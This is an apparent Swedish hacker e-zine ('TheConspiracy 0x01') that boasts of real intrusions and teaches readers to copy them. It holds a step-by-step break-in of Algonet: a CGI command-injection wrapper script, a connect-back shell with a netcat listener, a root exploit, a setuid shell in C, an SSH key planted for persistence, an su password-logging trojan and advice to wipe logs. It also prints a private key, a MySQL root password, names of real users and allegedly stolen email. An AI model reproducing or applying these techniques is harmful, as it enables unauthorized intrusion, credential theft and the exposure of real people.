.##.
.####.
.########.
.#### ####.
.######################.
.#############################.
.###### ######.
.#### ###### ####.
#### ######## #####
#### ######## #####
###### #### #######
########### ###########
##########################
.###. .###.
.###. +--------------------+ .###.
.###. |THE CONSPiRACY: 0x01| .###.
.###. +--------------------+ .###.
.###. .###.
.###. +--------+--------------------+--------+ .###.
.###. 0n th3 m1ss1on 2 sch00l th3 und3rgr0und! .###.
.###. +--------------------------------------+ .###.
.###. (C)31337 TC / TheConspiracy - STFU FFS!! .###.
.###. +--------------------------------------+ .###.
.###. .###.
.##################################################################.
.####################################################################.
++
||
||
||
+--------------------------+|
|+--------------------------+
||
+---++----------+[C0NTENT]+---------------------------+
| |
| [0x01]-------> iNLEDNiNG!! |
| [0x02]-------> h4cking ALGOnet f0r fun 4nd pr0f1t |
| [0x03]-------> Hackare av idag |
| [0x04]-------> Burken.nu blir fetägd |
| [0x05]-------> the AUH manifesto |
| [0x06]-------> Liten guide till ett säkrare liv |
| [0x07]-------> Mobbade barn med 0day exploitz |
| |
+---------------------------------------------+-------+
|
|
+----------------+------+
| WHITNEY WAS INNOCENT! |
+-----------------------+
|
|
|
|
|
|
|
|
|
|
|
+---+[0x01: iNLEDNiNG!! ]+--------------+-------------------------------------+>
|
Ni kanske trodde att den digitala underjorden i sverige helt hade
somnat in och lämnat över tronen till barnen på DALnet? Icke.
Den svenska eliten har hållt sig tyst och i bakgrunden fortsatt
att sprida 0ndska och kaos på de elektroniska motorvägarna.
Nu är vi tillbaka för att ännu en gång röra om i grytan och visa
en annan sida av scenen än den du hittar på flashback och DALnet.
Ni kanske trodde att internet var en säker lekstuga?
Ni har hört Joakim von Braun och Per Hellquist och alla andra
experter uttala sig om hackers av idag. tror ni på det dom berättar?
"Trots att virusangreppen kostar företag och samhället hundratals
miljoner, är det få som vet hur sårbart IT-samhället är"
säger Joakim von Braun, säkerhetsrådgivare vid IT- säkerhetsföretaget Symantec.
TheConspiracy vet, vi läser nämligen hans epost.
To: per.hellquist@symantec.com
From: Joakim von Braun (joakim.von.braun@RISAB.SE)
Subject: Re: Har du hört något om?
Date: 15 sep 2002 09:30:09 -0800
> Jag har tittat igenom det och
> tror att det nog är bluff, men så har jag inte dina
> kontakter bland hackers..
Jo, det är sant. Det är nog en bluff.
Jag har tittat igenom allt material och kan
inte se hur attacken skulle ha gått till.
Cheers
Joakim
Joakim von Braun phone +46-(0)8-428 95 05
von Braun Consultants cell phone +46-(0)709-56 16 42
Kristinehovsgatan 14
SE-117 29 Stockholm, SWEDEN
The Trojan Database: http://www.simovits.com/trojans/trojans.html
Vill du se ditt egna favvohack här i zinet så bara maila in det.
Detta första nummer innehåller mycket material från gruppen
AUH, Arga Unga Hackare, 31337!!
Vi släpper detta zinet endast för att visa att vi har rätt och
att alla andra har fel. mycket fel. Vi är här för att visa er nya
vägen till framgång och för att visa er som slutat vägen tillbaka!
BÖRJA HACKA! VI VET ATT NI VILL! <-- OBS
maila in dina loggar/trix till TheConspiracy@hushmail.com
+
|
+---+[TheConspiracy staff]+-----+---+>
|
|
|
|
+-----------------------------+-----------------------------------+
| '1/2', in fact, can never be found in the real world, |
| and there are historical and archeological reasons to believe |
| it was created by a Greek mathematician under the influence of |
| the mind-warping hallucinogenic mushroom Amanita muscaria. |
+----------------------------------------------------------+------+
|
|
|
|
+---+[0x02: h4cking ALGOnet f0r fun 4nd pr0f1t ]+------------+----------------+>
|
+
Sååå.. du vill hacka dig in på algonet säger du?
Well, alla coola kidsen har varit där, så varför skulle du vara sämre?
Bunkra upp med knark och chips och ta på dig din finaste hackarskjorta
för nu skall vi på utflykt till ett nät som kommer ge flera av er nostalgiska
tårar i ögonvrån. nämligen Algonet, eller Telenordia som det heter numera.
Hur som helst så är dom jävligt ägda och tur är väl det, annars skulle jag
vara tvungen att skriva om hur du installerar mIRK eller formaterar en floppy
eller någon annat som hackare gör på sin fritid. Hackare har nämligen gott om
fritid då de inte har några vänner, eller de få vänner dom har som lever sitt
liv på mIRKen är fullt upptagna med att röka B0NG och skriva 0nd kod så dom har
inte tid att umgås med loosers som du.
Här kommer det ni alla har väntat på:
utan ytterligare onödig inledningstext:
TheConspiracy presenterar stolt:
RiktigtOndHackerSkola - del ett:
+-----------------------------------------------------------------------------+
|!Hacking algonet for fun and profit!! (det är inte snyggt, men det är kul) |
+-----------------------------------------------------------------------------+
Att hacka WEBBEN är väldigt populärt bland ungdomar nuförtiden. Har du precis
som så många andra undrat hur sånt där egentligen går till? Istället för att
svamla om massa trams så tar vi ett praktiskt exempel! Vi skaffar oss helt
enkelt fetroot på algonet genom ett hål i just WEBBEN.
För att få fetroot måste man först ha ett sätt att berätta för datorn i fråga
vad man vill att den skall uträtta. i vårat fall vill vi att den skall utföra
0nda hackarekommandon, något som datorer vanligtvis inte alls håller på med.
Vi vet att Algonet tillåter sina dumma användare att skriva sina egna CGIscript
och eftersom vi också vet att de flesta av alla som använder en dator är
dummare än sina floppydrives så kan vi kallt räkna med att flertalet av dessa
CGIs gladligen tar våra hackarekommandon och skickar vidare till skalet.
Vi använder en sökmotor på WEBBEN för att söka upp lite skripp och efter några
minuter har vi hittat en användare som har rökt alldeles för mycket B0NG och
misslyckas fatalt med att skriva k0d som inte funkar som vi vill.
Övning ett: använd din webbläsare för att titta på www.altavista.com
och söka efter CGI skript hos algonet. (search: +URL:algonet.se +URL:.cgi)
Vi väljer ut ett offer och skrider till verket - Det är nu mycket viktigt
att upprätthålla en hög knark/blod ratio i ådrorna, så ni inte plötsligt mitt
i hacket råkar uppleva verkligheten, då denna kan vara skadlig och inte alls bra
"http://cgi.algonet.se/xxx/visasida.cgi?page=main.html"
Ja detta var fint, vi testar några 0nda kommandon för att se att det verkligen
fungerar som det ska, och det gör det. så ta några sista djupa bloss på B0NGen
och sätt dina bleka fingrar mot tangentbordet så skall vi ut på en trevlig resa.
# # # # # # # # # # # # # # # # # #
# OBS OBS OBS OBS OBS OBS OBS OBS #
# #
# Kids, dont try this from home!! #
# #
# OBS OBS OBS OBS OBS OBS OBS OBS #
# # # # # # # # # # # # # # # # # #
Nu när vi skall begår BROTT så vill vi inte göra det från mammas telelina
eftersom hon då antagligen kommer bli sur och ta din fina Petium (MMX) ifrån dig
Vi binder därför en proxykedja till den lokala telnetporten och hoppas på
det bästa.
# telnet localhost
Trying 127.0.0.1...
Connected to localhost.
# Det vi har hittat om ni fattar det, är ett CGIscript vi kan köra kommandon
# genom!
# Att sitta och skriva in URLer hela tiden är inte så kul, så vi hämtar våran
# programming for dummies bok och lär oss hur man skriver ett skalskript som
# utför våra 0nda gärningar.
#
$ cat > algo.sh
#!/bin/sh
while [ - ]; do
echo -n ">"
read BAR
FOO=$(echo $BAR | sed -e 's/\ /%20/g')
lynx -source "http://cgi.algonet.se/xxx/visasida.cgi?$FOO"
done
^D
$ chmod 755 algo.sh
$ ./algo.sh
>uname -a
SunOS sten 5.8 Generic_108528-08 sun4u sparc SUNW,UltraSPARC-IIi-cEngine
>who
root console xxx xx xx:xx
onm pts/1 xxx xx xx:xx (xena.algonet.se)
>
#
# Vi märker snabbt att vårat WEBB-skal är sämre än Elvis, så vi använder
# våra tokiga skillz för att uploada lite warez till datorn så vi blir
# klara i tid till nästa B0NG. Vi valde att ladda upp ett connectbackskal.
# det är som telnet, fast tvärt om.. Och så behöver du inga jobbiga lösenord
# eftersom du är en hackare, och hackare använder inte saker som löseord.
#
>gcc cb.c -o cb
>./cb xxx 80
#
# Det här kommer vara lite klurigt, du förstår att detta händer lite före, efter
# och samtidigt som det ovanför, vi har som alla riktiga IT brottslingar
# minst två terminaler igång, sen har vi en tredje som vi kollar på PORR i.
# och en fjärde med mIRCK såklart.
# men i våran andra(2) terminal, den som vi startade netcat i, före vi körde
# connectbackskalet, ser ut så här:
#nc -vvlp 80
listening on [any] 80 ...
Warning: forward host lookup failed for stanley.algonet.se: Unknown host
connect to [xxx] from stanley.algonet.se [194.213.75.184] 45204
id
uid=xxx(xxx) gid=2000(algonet)
#
# Ok, vi som kan våran lunix ser snabbt att vi oturligt nog inte är
# klara här, vi har fortfarande inte fetroot fast vi har jobbat så hårt!
# Vi ger oss ut bland dom lokala H/P/A BBSerna för att hitta lite ny
# 0dagars-warez som kan hjälpa oss lite på vägen.
#
gcc rt.c -o r00t;
./r00t
id;
uid=0(root) gid=2000(algonet)
#
# Ok pojkar och flickor(you wish), nu har vi fetroot, dock bara på en server.
# Och det är inte ens en rolig server. Men varför har vi slösat all denna tid
# undrar ni nu. Det skall jag berätta. Algonet har nämligen alla användares
# mappar och filer och sånt på två centrala datorer, som kallas Piff och Puff.
# Du kanske kommer ihåg namnen från julafton när du sitter och skrattar åt
# den dumma hunden som aldrig får fast dom små elaka råttorna.
# Piff och Puff är så kallade NSF servrar, varför det heter NSF servrar, eller
# varför algonet har döpt dom till Piff och Puff, som inte har något alls med
# varken nazism eller data att göra, har jag verkligen ingen aning om.
# Piff och Puff delar iallafall ut all denna data till de servrar som behöver
# den, det roliga med detta är att om vi skriver saker bland någons databitar
# på en server, så kommer det finnas där på ALLA servrar!! Helt magiskt!
# Det som vi kommer att tänka på först är SSH-nyckelfiler, en liten sak som
# gör att du kan vara hackare med SSH! Dvs utan att använda passwrdz. Om
# vi lägger en sån bland en admins data, så kan vi logga in som honom på
# alla Algonets servrar!! fattar ni vart jag vill komma? Bra. Ladda om B0NGen
# och förbered din ssh-nyckelfil, så fortsätter vi efter en tiominuter rast.
#
# cat > cid.c
#include
int main(int argc, char** argv) {
if(argc < 3) {
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
}
else {
setuid(atoi(argv[1]));
setgid(atoi(argv[2]));
seteuid(atoi(argv[1]));
setegid(atoi(argv[2]));
}
execl("/bin/sh","sh",NULL);
}
# /usr/local/bin/gcc cid.c -o cid
#
# Eftersom man inte får peta på andras filer fast man är tokroot är lite jobbigt
# men lätt överkomligt, vi vill inte använda su för att då fastnar man i massa
# loggar som man inte riktigt vet vem som läser. Bäst att vara försiktig
# Nu vidare!
head -15 /etc/passwd
root:x:0:1:Super-User:/:/sbin/sh
qmaild:x:504:100::/var/qmail:/bin/sh
qmaill:x:505:100::/var/qmail:/bin/sh
qmailp:x:506:100::/var/qmail:/bin/sh
qmailq:x:501:101::/var/qmail:/bin/sh
qmailr:x:500:101::/var/qmail:/bin/sh
qmails:x:502:101::/var/qmail:/bin/sh
alias:x:503:100::/var/qmail/alias:/bin/sh
www:x:101:100:AlgoNet Webmaster:/home/user2/www:/bin/tcsh
onm:x:107323:1000:Ola Nystrom:/home/user10/onm:/usr/bin/zsh
sshd:x:117444:66668:sshd privsep:/var/empty:/bin/false
adh:x:99901:1000:Anders Haglund:/home/adh:/bin/tcsh
anarchy:x:1400:1400::/import/usrusr/anarchy:/bin/false
nobody:x:60001:60001:Nobody:/:
noaccess:x:60002:60002:No Access User:/:
#
# Hmm, där har vi adminsen på Algonet, trevligt.. Vi väljer en på måfå
# och fortsätter våran utflykt.
#
./chid 107323 1000
id
uid=107323(onm) gid=2000(algonet)
# ssh-keygem -t dsa
Generating public/private dsa key pair.
Enter file in which to save the key (/root/.ssh/id_dsa): knark
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in knark.
Your public key has been saved in knark.pub.
The key fingerprint is:
12:b9:79:f7:bc:77:92:f2:25:94:33:68:90:7b:2b:32 root@3v1l
cat >> .ssh/authorized_keys < _EOF_
-----BEGIN DSA PRIVATE KEY-----
MIIBuwIBAAKBgQDE4836KtFl/kwJsJensnvYgjdPHSixvT68oJ8n23TZgf74PTdI
MXGsXtcNds9snH6K9vtWMd+0alm9/f1IlzxQLihN2ToXFIMyPRmaeDFP6T1wb0L/
uYYa1xrWbDDWJjB737K4XuWo+coJgYdvo+xzjH05AGRE2yIx/iJk6pyWPQIVAIZt
VeO5HSGceET3IAQ21YBJxtn1AoGAdLC6QAFx4t4Y5pTbCkhVq3/LcPaGL8mEPl3A
4d+IIpLlW+G9sPWxgwQHFLSR061oHcZ7EwquChUyN7FMF59qTEL1KzsZ+rqqShcv
tQZ4T8J44fGVqE4Pw3AJAOtqDbWEY5gK0HQhYBW73SGQV7QFJ8Otxn8MI5DD4/K+
LRw0HakCgYEAu53P58hUzTABUdbZxwC8Zn6+FEa/XXa0UxxiCx1ZJGYjH+vM+Yow
EtgVVgxY6pOw/Ltyd2hTi+4dGiNqtmqiNHXxuYm0cvhELth/R9NwYBpBxTGd2RCt
/qt/O7F9T7Vl2DZxAkoe0FkcX5T1WXGwLyXjAdA0avbRomUBWBRbcfMCFBaRBcj+
dmrfJ63FAQbiKoKHpKtg
-----END DSA PRIVATE KEY-----
_EOF_
#
# Hihi, En elak liten present vi lämnade här :-)
# Nu börjar våran resa närma sig sitt slut,
# Hoppas ni hänger med så här långt!
# Vi måste ju testa att våran plan fungerar, så
# vi startar ytterligare en terminal, hoppar lite
# kors och tvärs över nätet på våra tokrootade burkar
# och försöker slutligen logga in, h0h0
# ssh -i knark onm@kairos.algonet.se
The authenticity of host 'kairos.algonet.se (213.150.135.237)' can't be established.
RSA key fingerprint is 53:e6:bd:e2:b9:bb:5b:a0:ea:59:b4:17:1d:f8:9f:98.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'kairos.algonet.se,213.150.135.237' (RSA) to the list of known hosts.
Last login: Fri Sep 6 10:39:43 2002 from xena.algonet.se
Sun Microsystems Inc. SunOS 5.8 Generic February 2000
Skriv "meny" om du vill starta det lokala menysystemet.
[kairos/onm] ~ > id
uid=107323(onm) gid=1000(stuff)
[kairos/onm] ~ >
# Nu är är jobbet att bli root på alla kvar.
# Men det lämnar jag till er läsare sjävla att
# lösa! men jag skall ge er några tips så ni inte står
# där helt med skägget i brevlådan!
#
# Först kan man tänka att även piff och puff, du vet dom
# två råttservrarna som innehöll alls filer och dokument?
# dom kan man också logga in på med nyckelfilen!
#
# Ett annat sätt är att cracka rootlösenordet vi hittade på sten o stanley.
# det låter som en ganska trevlig ide tycker jag, men själv så är jag för lat
# cracka och vill bli klar så snabbt som möjligt så jag kan dra och köpa mer
# sprit och piller. Så jag planterar en su trojan i hans hemkatalog och aliasar
# su till den, Bakdörren skickade vidare username och password till su så han
# loggades in som root som vanligt, men lösen loggas!! muahaha! elakt va?
# det firar vi med ett bloss på B0NGen och stor klunk vodka.
# Nu har vi rootlösen till alla burkar han körde su på, bla kairos!
# en mycket bra sak att ha!
#
# Vi har städat upp alla verktyg/loggar/bakdörrar som vi använde
# för att ge er en chans att få fetroot på algonet alldeles själva!
# Ja det var roligt, eller hur? Nå? vad väntar ni på? Börja hacka!
# men glöm fan inte att städa i loggarna efter er nu!
#
# Kom ihåg!
#
# SANT --> VILL MAN BLI HACKER SÅ MÅSTE MAN HACKA! <-- SANT!
# SANT --> VILL MAN BLI HACKER SÅ MÅSTE MAN HACKA! <-- SANT!
# SANT --> VILL MAN BLI HACKER SÅ MÅSTE MAN HACKA! <-- SANT!
# SANT --> VILL MAN BLI HACKER SÅ MÅSTE MAN HACKA! <-- SANT!
#
# - TC - sch00ling th3 und3rgr0undz
#
#
PS. För er som inte orkar hacka själva så finns här ssh-nyckelfilen!!!
-----BEGIN DSA PRIVATE KEY-----
MIIBuwIBAAKBgQDE4836KtFl/kwJsJensnvYgjdPHSixvT68oJ8n23TZgf74PTdI
MXGsXtcNds9snH6K9vtWMd+0alm9/f1IlzxQLihN2ToXFIMyPRmaeDFP6T1wb0L/
uYYa1xrWbDDWJjB737K4XuWo+coJgYdvo+xzjH05AGRE2yIx/iJk6pyWPQIVAIZt
VeO5HSGceET3IAQ21YBJxtn1AoGAdLC6QAFx4t4Y5pTbCkhVq3/LcPaGL8mEPl3A
4d+IIpLlW+G9sPWxgwQHFLSR061oHcZ7EwquChUyN7FMF59qTEL1KzsZ+rqqShcv
tQZ4T8J44fGVqE4Pw3AJAOtqDbWEY5gK0HQhYBW73SGQV7QFJ8Otxn8MI5DD4/K+
LRw0HakCgYEAu53P58hUzTABUdbZxwC8Zn6+FEa/XXa0UxxiCx1ZJGYjH+vM+Yow
EtgVVgxY6pOw/Ltyd2hTi+4dGiNqtmqiNHXxuYm0cvhELth/R9NwYBpBxTGd2RCt
/qt/O7F9T7Vl2DZxAkoe0FkcX5T1WXGwLyXjAdA0avbRomUBWBRbcfMCFBaRBcj+
dmrfJ63FAQbiKoKHpKtg
-----END DSA PRIVATE KEY-----
|
+---+[TheConspiracy hakker crew]+---+-----------------------------------------+>
|
|
+-------------------+------------------------------+
| Kommer mänskligheten att gå under eller gå över? |
+------------------------------------------------+-+
|
|
<+---------------------------------------------------------------+------------+>
# telnet eleet.navy.mil
Connected to eleet.navy.mil.
Escape character is '^]'.
*****************************************************************************
*** WARNING *** *** WARNING *** *** WARNING *** *** WARNING ***
This is a Department of Defense computer system. This computer system,
including all related equipment, networks and network devices (specifically
including Internet access), are provided only for authorized U.S.
government use. DoD computer systems may be monitored for all lawful
purposes, including to ensure that their use is authorized, for management
of the system, to facilitate protection against unauthorized access, and
to verify security procedures, survivability and operational security.
Monitoring includes active attacks by authorized DoD entities to test
or verify the security of this system. During monitoring, information
may be examined, recorded, copied and used for authorized purposes. All
information, including personal information, placed on or sent over this
system may be monitored. Use of this DoD computer system, authorized or
unauthorized, constitutes consent to monitoring of this system.
Unauthorized use may subject you to criminal prosecution. Evidence of
unauthorized use collected during monitoring may be used for administrative,
criminal, or other adverse action. Use of this system constitutes consent
to monitoring for these purposes.
*** WARNING *** *** WARNING *** *** WARNING *** *** WARNING ***
*****************************************************************************
login: toor
Please wait...checking for disk quotas
RESTRICTED RIGHTS LEGEND
Use, duplication, or disclosure by the U.S. Government is subject to
restrictions as set forth in sub-paragraph (c)(1)(ii) of the Rights in
Technical Data and Computer Software clause in DFARS 252.227-7013.
Rights for non-DOD U.S. Government Departments and Agencies are as set
forth in FAR 52.227-19(c)(1,2).
Value of TERM has been set to "xterm".
WARNING: YOU ARE SUPERUSER !!
#
<+---------------------------------------------------------------+------------+>
|
|
|
+---+[0x03: elaka MMX hackare av idag ]+-------------------------+------------+>
Whitehats. Blackhats. Greyhats.
Smaka på dessa mediaord.
Ni har antagligen läst dessa ord både en och två gånger och kanske till och med
trott att ni varit kapabla att applicera dem på folk ni känner eller har läst om
Whitehats - de får en att associera till vita änglar, moralens väktare.
Blackhats - de är motsatsen, onda änglar. Hänsynslösa änglar helt utan skrupler.
En greyhat är någon slags vilsen whitehat, någon som inte alls har fattat
grejjen och tror sig kunna stå med ett ben på varje sida.
Orden är beskrivningar påhittade av media i slutet av 90-talet för att kunna
dela in dessa s.k. hackare man skrev om i olika läger. Ordet hackare har ju
alltid varit svårt. Vad är egentligen en hackare? Hur beter dem sig? Osv..
En myt är att riktiga hackare är sådana typer som MIT-hackarna. Det är lögn.
MIT-hackarna var nördar utan liv med låg imponansfaktor. Sen kom man på att
hackare kanske var sådana typer som bröt sig in i datorsystem. Fast där stötte
man också på problem.
Det gick helt enkelt inte att kategorisera båda typerna som hackare.
Dvs, typerna som bröt sig in i system för att det var kul och vars enda
avsikt var att att knäcka systemen (yeah, right), och typerna som bröt sig
in för att stjäla information eller vad som helst som inte är helt
försvarbart. Den ena var ju en hackare och den andra en cracker. Och en
cracker är ju en sån som knäcker program?
Fast egentligen är en cracker, dvs en ond hackare, en hackare?
Massor med onyttig förvirring. Här fanns det utrymme för nya beskrivningar.
Onda hackare kallades blackhats.
Snälla hackare (haha) kallades whitehats.
Snälla hackare som varit/är onda i smyg kallade man greyhats.
Skitbra, helt plötsligt gick det att kategorisera hackarna.
Nu blev det helt plötsligt dags för alla s.k. hackare att kategorisera sig.
De seriösa människorna, bl.a. de som jobbade för Defcom eller ISS - de var
såklart whitehats. För vem vill ha smuts på fingrarna om man ska sälja sig
som säkerhetskonsult? Sen var det dom tuffa små hackarna. De titulerade sig
såklart blackhats. De hade råd att vara coola eftersom ingen kom att jobba
med dem än. Men framförallt ville de ha respekt och berömelse. Sånt man kan
få på IRC som är centrum för alla jävla scenhoror. Till slut blev det en grupp
över, de som betedde sig likt blackhats på fritiden men jobbade likt whitehats
på arbetstid. Dessa var greyhats. Lite vitt och lite svart.
Ni sitter på IRC och jiddrar om vilken jävla hatt ni själv bär och funderar
över vilken hatt folk ni hör om, folk ni läser om och folk ni träffar,
förtjänar att bära eller bär.
Under tiden sitter vi och fetäger era geekstations och snor er warez!
Om ni någonsin tycker att ni bär nån slags hatt så är ni inga hackare.
Det finns inget som definerar en hackare som whitehat, greyhat eller blackhat.
Och det finns inga crackers, och inte heller onda eller goda hackare.
Den som tar på sig NÅGON hatt är inte en hackare. Punkt slut.
FÖR DET ÄR JU SÅ JÄVLA UPPENBART.
HACKARE SOM INTE HACKAR ÄR INGA HACKARE.
ALLTSÅ.
HACKARE HACKAR!
Samma sak med problemet huruvida man är 'l33t eller inte.
Piece of k4k4. Det är ni inte och kommer ni aldrig att bli.
Men för all del, sitt gärna där och bli jämförd med någon som är snäppet
mer clueless som dig och känn dig elajt. MMX!
(Sensmoralen i den här texten är - Sluta jiddra, börja hacka.)
+
|
+-----------------------------------------------------------------------+------>
|
|
|
+---+[0x04: burken.nu blir fetägd! ]+-----------------------------------+------>
|
+-----------------------------------------------------------+
| Att burken.nu blev hackad har väl knappast undgått någon |
| och många teorier om "hur" har spridits. TheConspiracy |
| har dock fått den exklusiva möjligheten att här återge |
| hacket men hjälp av äkta terminalloggar! |
| Tyvärr fick vi strippa ner ordentligt eftersom vi har |
| begränsat utrymme i det här zinet |
| Credits till AUH för detta =) |
+-----------------------------------------------------------+
|
Sent som fan - Torsdag
Ey dagboksmannen!
Idag kände jag för att driva en nördadmin till vansinne, så jag tänkte
att jag skulle roota en shellserver.
Någonstans ska man börja, så jag drog mig till minnes ett mail i en mail-
spool om loginuppgifter till Burken.NU.
En shelltjänst där man får skal, irc, mysql, php och annan jävla webbskit.
Kopplade upp mig mot en switch, loggade på ett gäng andra burkar och
gled sakta men säkert in på burken(.nu) och tittade runt lite.
Webbtjänsten ligger visst på en annan burk, kallad fs02.
Alla hemkataloger är NFS-monterade med AMD. Många users är tuffa och har
satt sin hemkatalog till chmod 711. Och i de andra finns det inte mycket
att hämta. Inte heller ligger det några worldreadable backups i filsystemet
med intressant information som kan vara till nytta för användare med genuint
ont uppsåt.
Eftersom jag noterade att lösenorden för login och mysql var samma i mailet
lägger jag ihop ett och ett. (look m0m, i g0t d4 apr0pr1at3 sk1llz)
Snabbt hackar jag ihop ett script som tvingar AMD att montera hemkatalogerna,
går in i dem, vidare in i public_html och plockar informationen i PHP-filerna
som används för att komma åt respektive mysql databas.
Sen knackade jag ihop ett PHP-dokument som med IMAP verifierar alla
användarnamn och lösenord jag fått mot IMAP-servern -
Till min förvåning upptäcker jag endast ett fåtal har bytat bort de säkra
(kombinationsmässigt :P), slumpmässiga lösenorden mot egna. Det var ju dumt.
Jag sitter nu på en hel del (ok, nästan alla) konton till Burken.NU.
Jävla klantskallar. Jag äger, hahaha. Men ändå, vanliga konton är faktiskt
relativt meningslösa..
Varför bry sig om grus när man kan gräva guld?
Spacedump, en pojke på internet, är admin och tror att han kan göra som han
vill. Men håller vi inte alla med om att han gör helt jävla fel när han
accessar sin sqldatabas med root-kontot som ligger i en 644 fil?
mysql_connect("localhost", "root", "nattis");
LOL @ Spacedump - LOL @ Spacedump - LOL @ Spacedump - LOL @ Spacedump
LOL @ Spacedump - LOL @ Spacedump - LOL @ Spacedump - LOL @ Spacedump
LOL @ Spacedump - LOL @ Spacedump - LOL @ Spacedump - LOL @ Spacedump
Greppar ut en användare på h, som i hackare, från min coola kontolista
och loggar på mot burken igen. Tänkte att det vore roligt att titta runt på
webbservern också, så jag hackar ihop ett PHP-script som ska hitta på
sattyg och andra ondheter.
Tyvärr hade någon slagit på safemode i PHP så det försöket gick åt pipan.
Men det är ingen ide att lipa för det, så jag går till php.net och läser på
om hur safemode fungerar och vad parametrarna gör.
Hittar något som verkar kajko och efter några försök kan jag exekvera
program som uid httpd.
En terminallogg säger mer än tusen ord, så *fanfar*:
+---------------------------------------------------+
|EDITOR note: Alla loggar är kraftigt editerade |
| pga utrymmet. Men ni fattar nog ändå. |
| |
| När loggen börjar har precis vår hacker skaffat |
| sig terminalacess genom ett connectback skal som |
| exekveras genom ett phpscript. |
| Detta ser man mycket ofta, folk som tror dom är |
| säkra bara för att deras användare inte har skal |
| på just den datorn. |
| DAX ATT VAKNA! SKÖT DITT JOBB ELLER BLI ÄGD! |
| |
| Det är alltså spacedumps wwwserver som visas. |
| (burken.nu/www.linux.se/www.xmms.org/m.fl) |
+---------------------------------------------------+
$ w
11:15pm up 14 days, 21:02, 30 users, load average: 0.66, 0.50, 0.48
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
spacedmp pts/1 fs01.spacedump.p 8Sep 2 13days 0.16s ? -
spacedmp pts/2 laptop:S.0 Fri 3pm 25:58 50.48s 50.40s epic SpaceDump
spacedmp pts/3 laptop:S.1 9:22pm 1:53m 0.06s 0.04s mysql -uroot -p
spacedmp pts/4 laptop:S.2 Fri 3pm 2days 0.02s 0.02s /bin/bash
spacedmp pts/5 laptop:S.3 8Sep 2 1:36m 7.41s 7.38s ssh -v -l root
spacedmp pts/6 laptop:S.4 Fri 3pm 25:31 11.86s 11.85s /usr/apps/pine/
spacedmp pts/7 laptop:S.5 8Sep 2 1:23m 0.23s 0.11s telnet -x -l ro
spacedmp pts/8 laptop:S.6 8Sep 2 34:26m 2.30s 2.18s ssh -v -l anol
spacedmp pts/9 laptop:S.7 8Sep 2 3:49m 50:09 ? -
spacedmp pts/10 laptop:S.8 Tue 3pm 22:19m 0.02s 0.02s /bin/bash
spacedmp pts/12 laptop:S.9 8Sep 2 1:19m 26.61s 26.60s /usr/apps/opens
spacedmp pts/13 laptop:S.15 Thu 6pm 3days 0.12s ? -
spacedmp pts/15 laptop:S.11 5:12pm 6:01m 0.01s 0.01s /bin/bash
spacedmp pts/16 laptop:S.12 5:46pm 5:28m 0.02s 0.02s /bin/bash
spacedmp pts/19 laptop:S.16 Thu 6pm 1:10m 0.39s 0.36s mysql -uroot -p
spacedmp pts/20 laptop:S.17 Thu 7pm 47:04m 0.18s ? -
coopers pts/14 c-c88970d5.016-3 Wed12am 4days 0.09s 0.09s -bash
spacedmp pts/17 laptop:S.13 Thu 2pm 3days 0.04s 0.04s /bin/bash
spacedmp pts/21 laptop:S.18 Fri 8pm 37:37m 0.82s 0.80s /usr/apps/opens
spacedmp pts/22 laptop:S.19 Sat12am 34:22m 1.41s 1.39s /usr/apps/opens
coopers pts/24 c-c88970d5:S.0 10Sep 2 2days 7.97s 7.96s epic CoopSwip -
$ cd /usr/web/logs
$ ls -l
total 1155916
-rw-r--r-- 1 root root 19163 Sep 22 23:11 123.shellkonto.nu-combined
-rw-r--r-- 1 root root 0 Sep 16 00:00 123.shellkonto.nu-error_log
-rw-r--r-- 1 root root 0 Sep 16 00:00 1st.shellkonto.nu-combined
-rw-r--r-- 1 root root 0 Sep 16 00:00 1st.shellkonto.nu-error_log
-rw-r--r-- 1 root root 961083 Sep 22 23:16 3d.burken.nu-combined
-rw-r--r-- 1 root root 7354 Sep 22 22:43 3d.burken.nu-error_log
-rw-r--r-- 1 root root 18637378 Sep 22 23:15 access_log
-rw-r--r-- 1 root root 11794 Sep 22 11:55 apps.linux.se-combined
-rw-r--r-- 1 root root 0 Sep 16 00:00 arkivet.tillberg.net-combined
-rw-r--r-- 1 root root 1295 Sep 22 21:07 lindal.bilder.nu-error_log
-rw-r--r-- 1 root root 0 Sep 16 00:00 link.tillberg.net-combined
-rw-r--r-- 1 root root 4670744 Sep 22 23:03 se2.php.net-error_log
-rw-r--r-- 1 root root 41994 Sep 22 17:51 www.h3rbie.com-combined
-rw-r--r-- 1 root root 13803 Sep 22 12:43 www.tillberg.net-error_log
-rw-r--r-- 1 root root 717 Sep 22 04:10 www.timrahalsostudio.burken.nu-error_log
-rw-r--r-- 1 root root 7607 Sep 22 19:53 www.tracit.burken.nu-combined
-rwxr-xr-x 1 root root 1090 Mar 29 2001 logcheck.sh
+---------------------------------------------------------------------------+
| Ohyggligt lång lista på domännamn där. |
| Vi kortade ned den ganska graftigt men killen har hand om en jävla massa. |
+---------------------------------------------------------------------------+
$ cat logcheck.sh
#!/bin/sh
# Display syntax
function dispsyntax {
echo Usage: logcheck.sh \
}
# Check if we got an argument on the commandline
if [ "$1" == "" ];then
dispsyntax
exit 1
fi
# Check if the file exists
if [ ! -f $1 ];then
echo No such file...
exit 1
fi
# Get yesterdays date
DATE=`date --date '1 day ago' +"%d/%b/%Y"`
echo DATE: $DATE
# Fetch the loglines from the file and put it in a temporary file
egrep "^[^ ]* [^ ]* [^ ]* \[$DATE.*" $1 > /tmp/www.log
# Get total number of hits from the logfile
TOTALHITS=`wc -l /tmp/www.log | awk {'print $1'}`
echo TOTALHITS: $TOTALHITS
# Get hourly stats
for i in `seq 0 23`;do
HOUR=`echo $i | sed -e 's/.*/0&/' | sed -e 's,.*\([0-9][0-9]\)$,\1,'`
HOURHITS=`egrep "^[^ ]* [^ ]* [^ ]* \[$DATE:$HOUR.*" /tmp/www.log | wc -l | awk {'print $1'}`
echo $i - $HOUR: $HOURHITS
done
# Get minute stats
for i in `seq 0 59`;do
MINUTE=`echo $i | sed -e 's/.*/0&/' | sed -e 's,.*\([0-9][0-9]\)$,\1,'`
MINUTEHITS=`egrep "^[^ ]* [^ ]* [^ ]* \[$DATE:12:$MINUTE:.*" /tmp/www.log | wc -l | awk {'print $1'}`
echo $i - $MINUTE: $MINUTEHITS
done
$ pwd
/usr/web/logs
$ cd ../conf
$ ls -alrt
total 412
drwxrwxrwx 2 httpd httpd 4096 Nov 9 2000 RCS
